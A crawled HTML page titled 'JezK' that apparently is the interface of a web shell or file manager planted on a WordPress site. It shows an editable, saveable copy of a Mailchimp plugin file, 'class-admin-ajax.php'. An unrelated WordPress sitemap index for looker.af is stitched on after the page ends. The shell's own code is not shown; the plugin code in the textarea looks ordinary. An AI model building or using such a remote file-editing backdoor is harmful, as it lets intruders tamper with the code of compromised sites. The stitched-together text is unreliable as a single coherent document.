
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-admin-ajax.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

class MC4WP_Admin_Ajax {

	/**
	 * @var MC4WP_Admin_Tools
	 */
	protected $tools;

	/**
	 * MC4WP_Admin_Ajax constructor.
	 *
	 * @param MC4WP_Admin_Tools $tools
	 */
	public function __construct( MC4WP_Admin_Tools $tools ) {
		$this-&gt;tools = $tools;
	}

	/**
	 * Hook AJAX actions
	 */
	public function add_hooks() {
		add_action( &#039;wp_ajax_mc4wp_renew_mailchimp_lists&#039;, array( $this, &#039;refresh_mailchimp_lists&#039; ) );
		add_action( &#039;wp_ajax_mc4wp_get_list_details&#039;, array( $this, &#039;get_list_details&#039; ) );
	}

	/**
	 * Empty lists cache &amp; fetch lists again.
	 */
	public function refresh_mailchimp_lists() {
		if ( ! $this-&gt;tools-&gt;is_user_authorized() ) {
			wp_send_json_error();
			return;
		}

		check_ajax_referer( &#039;mc4wp-ajax&#039; );

		$mailchimp = new MC4WP_MailChimp();
		$success   = $mailchimp-&gt;refresh_lists();
		wp_send_json( $success );
	}

	/**
	 * Retrieve details (merge fields and interest categories) for one or multiple lists in Mailchimp
	 * @throws MC4WP_API_Exception
	 */
	public function get_list_details() {
		if ( ! $this-&gt;tools-&gt;is_user_authorized() ) {
			wp_send_json_error();
			return;
		}

		$list_ids  = (array) explode( &#039;,&#039;, $_GET[&#039;ids&#039;] );
		$data      = array();
		$mailchimp = new MC4WP_MailChimp();
		foreach ( $list_ids as $list_id ) {
			$data[] = (object) array(
				&#039;id&#039;                  =&gt; $list_id,
				&#039;merge_fields&#039;        =&gt; $mailchimp-&gt;get_list_merge_fields( $list_id ),
				&#039;interest_categories&#039; =&gt; $mailchimp-&gt;get_list_interest_categories( $list_id ),
				&#039;marketing_permissions&#039; =&gt; $mailchimp-&gt;get_list_marketing_permissions( $list_id ),
			);
		}

		if ( isset( $_GET[&#039;format&#039;] ) &amp;&amp; $_GET[&#039;format&#039;] === &#039;html&#039; ) {
			$merge_fields = $data[0]-&gt;merge_fields;
			$interest_categories = $data[0]-&gt;interest_categories;
			$marketing_permissions = $data[0]-&gt;marketing_permissions;
			require MC4WP_PLUGIN_DIR . &#039;/includes/views/parts/lists-overview-details.php&#039;;
		} else {
			wp_send_json( $data );
		}
		exit;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
